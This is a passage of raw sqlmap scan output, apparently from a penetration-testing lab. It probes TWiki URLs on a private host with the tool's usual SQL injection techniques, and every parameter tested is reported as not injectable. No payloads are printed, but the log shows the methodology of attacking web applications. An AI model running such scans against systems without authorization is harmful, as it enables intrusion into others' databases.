stacked queries (comment)' [19:56:04] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:56:05] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:56:05] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:56:06] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:56:06] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:56:06] [INFO] testing 'Oracle AND time-based blind' [19:56:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:56:07] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:56:11] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:56:16] [WARNING] GET parameter 'template' is not injectable [19:56:16] [INFO] testing if GET parameter 'param1' is dynamic [19:56:16] [WARNING] GET parameter 'param1' does not appear dynamic [19:56:16] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [19:56:16] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [19:56:16] [INFO] testing for SQL injection on GET parameter 'param1' [19:56:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:56:18] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:56:18] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:56:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:56:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:56:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:56:21] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:56:21] [INFO] testing 'MySQL inline queries' [19:56:21] [INFO] testing 'PostgreSQL inline queries' [19:56:21] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:56:21] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:56:22] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:56:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:56:23] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:56:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:56:24] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:56:24] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:56:25] [INFO] testing 'Oracle AND time-based blind' [19:56:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:56:33] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:56:40] [WARNING] GET parameter 'param1' is not injectable [19:56:40] [INFO] testing if GET parameter 'param2' is dynamic [19:56:40] [WARNING] GET parameter 'param2' does not appear dynamic [19:56:40] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [19:56:40] [INFO] testing for SQL injection on GET parameter 'param2' [19:56:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:56:42] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:56:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:56:43] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:56:43] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:56:44] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:56:45] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:56:45] [INFO] testing 'MySQL inline queries' [19:56:45] [INFO] testing 'PostgreSQL inline queries' [19:56:45] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:56:45] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:56:46] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:56:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:56:47] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:56:47] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:56:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:56:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:56:49] [INFO] testing 'Oracle AND time-based blind' [19:56:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:56:57] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:57:04] [WARNING] GET parameter 'param2' is not injectable [19:57:04] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [19:57:04] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/NotExistingYet?topicparent=TWiki.TextFormattingRules' URL 149: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/TextFormattingRules?t=1441457582 do you want to test this URL? [Y/n/q] Y [19:57:04] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TextFormattingRules?t=1441457582' [19:57:04] [INFO] testing connection to the target URL [19:57:05] [INFO] testing if the target URL is stable [19:57:05] [INFO] target URL is stable [19:57:05] [INFO] testing if GET parameter 't' is dynamic [19:57:06] [WARNING] GET parameter 't' does not appear dynamic [19:57:06] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [19:57:06] [INFO] testing for SQL injection on GET parameter 't' [19:57:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:57:07] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:57:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:57:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:57:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:57:09] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:57:10] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:57:10] [INFO] testing 'MySQL inline queries' [19:57:10] [INFO] testing 'PostgreSQL inline queries' [19:57:10] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:57:10] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:57:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:57:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:57:12] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:57:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:57:13] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:57:13] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:57:14] [INFO] testing 'Oracle AND time-based blind' [19:57:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:57:15] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:57:21] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:57:28] [WARNING] GET parameter 't' is not injectable [19:57:28] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 150: GET http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Text Formatting Rules[^A-Za-z] do you want to test this URL? [Y/n/q] Y [19:57:28] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Text Formatting Rules[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:57:28] [INFO] testing connection to the target URL [19:57:28] [INFO] testing if the target URL is stable [19:57:29] [INFO] target URL is stable [19:57:29] [INFO] testing if URI parameter '#1' is dynamic [19:57:29] [INFO] confirming that URI parameter '#1' is dynamic [19:57:29] [INFO] URI parameter '#1' is dynamic [19:57:30] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:57:30] [INFO] testing for SQL injection on URI parameter '#1*' [19:57:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:57:30] [WARNING] reflective value(s) found and filtering out [19:57:31] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:57:31] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:57:32] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:57:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:57:33] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:57:34] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:57:34] [INFO] testing 'MySQL inline queries' [19:57:34] [INFO] testing 'PostgreSQL inline queries' [19:57:34] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:57:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:57:34] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:57:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:57:35] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:57:36] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:57:36] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:57:37] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:57:37] [INFO] testing 'Oracle AND time-based blind' [19:57:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:57:38] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:57:43] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:57:49] [WARNING] URI parameter '#1*' is not injectable [19:57:49] [INFO] testing if URI parameter '#2*' is dynamic [19:57:49] [INFO] confirming that URI parameter '#2*' is dynamic [19:57:49] [INFO] URI parameter '#2*' is dynamic [19:57:49] [WARNING] heuristic (basic) test shows that URI parameter '#2*' might not be injectable [19:57:49] [INFO] testing for SQL injection on URI parameter '#2*' [19:57:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:57:50] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:57:50] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:57:51] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:57:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:57:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:57:52] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:57:53] [INFO] testing 'MySQL inline queries' [19:57:53] [INFO] testing 'PostgreSQL inline queries' [19:57:53] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:57:53] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:57:53] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:57:54] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:57:54] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:57:55] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:57:55] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:57:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:57:56] [INFO] testing 'Oracle AND time-based blind' [19:57:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:58:02] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:58:07] [WARNING] URI parameter '#2*' is not injectable [19:58:07] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 151: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingRules?skin=print do you want to test this URL? [Y/n/q] Y [19:58:07] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingRules?skin=print' [19:58:08] [INFO] testing connection to the target URL [19:58:08] [INFO] testing if the target URL is stable [19:58:09] [INFO] target URL is stable [19:58:09] [INFO] testing if GET parameter 'skin' is dynamic [19:58:09] [INFO] confirming that GET parameter 'skin' is dynamic [19:58:09] [INFO] GET parameter 'skin' is dynamic [19:58:09] [INFO] heuristics detected web page charset 'ascii' [19:58:09] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [19:58:09] [INFO] testing for SQL injection on GET parameter 'skin' [19:58:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:58:09] [WARNING] reflective value(s) found and filtering out [19:58:11] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:58:11] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:58:12] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:58:13] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:58:13] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:58:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:58:14] [INFO] testing 'MySQL inline queries' [19:58:14] [INFO] testing 'PostgreSQL inline queries' [19:58:14] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:58:15] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:58:15] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:58:16] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:58:16] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:58:17] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:58:18] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:58:18] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:58:19] [INFO] testing 'Oracle AND time-based blind' [19:58:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:58:20] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:58:28] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:58:36] [WARNING] GET parameter 'skin' is not injectable [19:58:36] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 152: GET http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TextFormattingRules?rev1=1.38&rev2=1.37 do you want to test this URL? [Y/n/q] Y [19:58:36] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TextFormattingRules?rev1=1.38&rev2=1.37' [19:58:36] [INFO] testing connection to the target URL [19:58:36] [INFO] testing if the target URL is stable [19:58:37] [INFO] target URL is stable [19:58:37] [INFO] testing if GET parameter 'rev1' is dynamic [19:58:37] [WARNING] GET parameter 'rev1' does not appear dynamic [19:58:37] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [19:58:37] [INFO] testing for SQL injection on GET parameter 'rev1' [19:58:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:58:39] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:58:39] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:58:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:58:40] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:58:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:58:41] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:58:41] [INFO] testing 'MySQL inline queries' [19:58:41] [INFO] testing 'PostgreSQL inline queries' [19:58:41] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:58:41] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:58:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:58:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:58:42] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:58:43] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:58:43] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:58:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:58:44] [INFO] testing 'Oracle AND time-based blind' [19:58:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:58:45] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:58:51] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:58:57] [WARNING] GET parameter 'rev1' is not injectable [19:58:57] [INFO] testing if GET parameter 'rev2' is dynamic [19:58:57] [WARNING] GET parameter 'rev2' does not appear dynamic [19:58:57] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [19:58:57] [INFO] testing for SQL injection on GET parameter 'rev2' [19:58:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:58:59] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:59:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:59:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:59:02] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:59:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:59:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:59:04] [INFO] testing 'MySQL inline queries' [19:59:05] [INFO] testing 'PostgreSQL inline queries' [19:59:05] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:59:06] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:59:07] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:59:07] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:59:08] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:59:08] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:59:09] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:59:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:59:10] [INFO] testing 'Oracle AND time-based blind' [19:59:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:59:16] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:59:22] [WARNING] GET parameter 'rev2' is not injectable [19:59:22] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 153: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingRules?rev=1.37 do you want to test this URL? [Y/n/q] Y [19:59:22] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingRules?rev=1.37' [19:59:22] [INFO] testing connection to the target URL [19:59:23] [INFO] testing if the target URL is stable [19:59:24] [INFO] target URL is stable [19:59:24] [INFO] testing if GET parameter 'rev' is dynamic [19:59:24] [WARNING] GET parameter 'rev' does not appear dynamic [19:59:24] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [19:59:24] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [19:59:24] [INFO] testing for SQL injection on GET parameter 'rev' [19:59:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:59:24] [WARNING] reflective value(s) found and filtering out [19:59:26] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:59:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:59:27] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:59:27] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:59:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:59:28] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:59:29] [INFO] testing 'MySQL inline queries' [19:59:29] [INFO] testing 'PostgreSQL inline queries' [19:59:29] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:59:29] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:59:30] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:59:30] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:59:30] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:59:31] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:59:31] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:59:32] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:59:33] [INFO] testing 'Oracle AND time-based blind' [19:59:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:59:33] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:59:41] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:59:48] [WARNING] GET parameter 'rev' is not injectable [19:59:48] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [19:59:48] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TextFormattingRules?rev1=1.37&rev2=1.36' [19:59:48] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingRules?rev=1.36' URL 154: GET http://192.168.1.113:80/twiki/bin/oops/TWiki/TextFormattingRules?template=oopsmore¶m1=1.38¶m2=1.38 do you want to test this URL? [Y/n/q] Y [19:59:48] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TextFormattingRules?template=oopsmore¶m1=1.38¶m2=1.38' [19:59:48] [INFO] testing connection to the target URL [19:59:49] [INFO] testing if the target URL is stable [19:59:49] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [19:59:49] [INFO] testing if GET parameter 'template' is dynamic [19:59:49] [INFO] confirming that GET parameter 'template' is dynamic [19:59:50] [INFO] GET parameter 'template' is dynamic [19:59:50] [INFO] heuristics detected web page charset 'ascii' [19:59:50] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [19:59:50] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [19:59:50] [INFO] testing for SQL injection on GET parameter 'template' [19:59:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:59:50] [WARNING] reflective value(s) found and filtering out [19:59:51] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:59:51] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:59:51] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:59:52] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:59:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:59:53] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:59:53] [INFO] testing 'MySQL inline queries' [19:59:53] [INFO] testing 'PostgreSQL inline queries' [19:59:53] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:59:53] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:59:53] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:59:54] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:59:54] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:59:54] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:59:55] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:59:55] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:59:56] [INFO] testing 'Oracle AND time-based blind' [19:59:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:59:56] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:00:01] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:00:05] [WARNING] GET parameter 'template' is not injectable [20:00:05] [INFO] testing if GET parameter 'param1' is dynamic [20:00:05] [WARNING] GET parameter 'param1' does not appear dynamic [20:00:05] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [20:00:05] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [20:00:05] [INFO] testing for SQL injection on GET parameter 'param1' [20:00:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:00:07] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:00:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:00:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:00:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:00:09] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:00:10] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:00:10] [INFO] testing 'MySQL inline queries' [20:00:10] [INFO] testing 'PostgreSQL inline queries' [20:00:10] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:00:10] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:00:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:00:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:00:11] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:00:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:00:13] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:00:13] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:00:14] [INFO] testing 'Oracle AND time-based blind' [20:00:14] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:00:22] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:00:29] [WARNING] GET parameter 'param1' is not injectable [20:00:29] [INFO] testing if GET parameter 'param2' is dynamic [20:00:29] [WARNING] GET parameter 'param2' does not appear dynamic [20:00:29] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [20:00:30] [INFO] testing for SQL injection on GET parameter 'param2' [20:00:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:00:31] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:00:31] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:00:32] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:00:32] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:00:33] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:00:34] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:00:34] [INFO] testing 'MySQL inline queries' [20:00:34] [INFO] testing 'PostgreSQL inline queries' [20:00:34] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:00:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:00:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:00:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:00:36] [INFO] testing 'Oracle stacked queries 